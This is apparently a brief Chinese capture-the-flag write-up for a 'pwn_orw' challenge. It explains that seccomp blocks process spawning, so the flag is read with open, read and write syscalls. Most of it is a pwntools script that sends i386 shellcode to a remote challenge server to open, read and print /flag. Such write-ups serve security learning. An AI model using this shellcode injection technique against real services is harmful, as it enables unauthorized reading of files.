pwn_orw

所谓orw就是指你的系统调用被禁止了，不能通过子进程去获得权限和flag，只能在该进程通过 open , read ,write来得到flag，这个时候可以通过seccomptools，来查看。
Exp:
from pwn import *
context.arch = ‘i386’
p = remote(‘node3.buuoj.cn’,28626)
shellcode = shellcraft.open(‘/flag’)
shellcode += shellcraft.read(‘eax’,’esp’,100)
shellcode += shellcraft.write(1,’esp’,100)
payload = asm(shellcode)
p.send(payload)
p.interactive()